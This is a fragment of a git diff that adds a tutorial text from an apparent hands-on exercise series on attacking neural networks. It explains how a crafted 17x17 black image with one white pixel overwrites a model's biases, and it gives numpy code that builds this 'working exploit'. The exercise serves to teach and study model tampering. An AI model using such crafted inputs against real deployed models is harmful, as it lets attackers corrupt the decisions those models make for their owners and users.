+ and see that the offset for the biases are 256 and 257. + +5. Unlike our previous exercise, we can't write a very large bias of 1000.0, as + this time we have to use an image. So, instead, we simply set all the weights + to 0.0 and the biases to [0.0, 1.0]. But again, the preprocessor is changing + our values. For us this just means we have to play around with the values to see + what works. Turns out (who could have guessed) for our example the simplest + case is sufficient and the working exploit is just a black image with the + pixel at x=2;y=15 (position 257) to white. Done. + + width = 17 + height = 17 + perPixel = 255.0 / float(width * height) + image = np.zeros((width, height), dtype=np.float32) + image[15][2] = 255.0 + +''' \ No newline at end of file diff --git a/8_GPUAttack/testimage.png b/8_GPUAttack/testimage.png new file mode 100644 index 0000000..62ba88a Binary files /dev/null and b/8_GPUAttack/testimage.png differ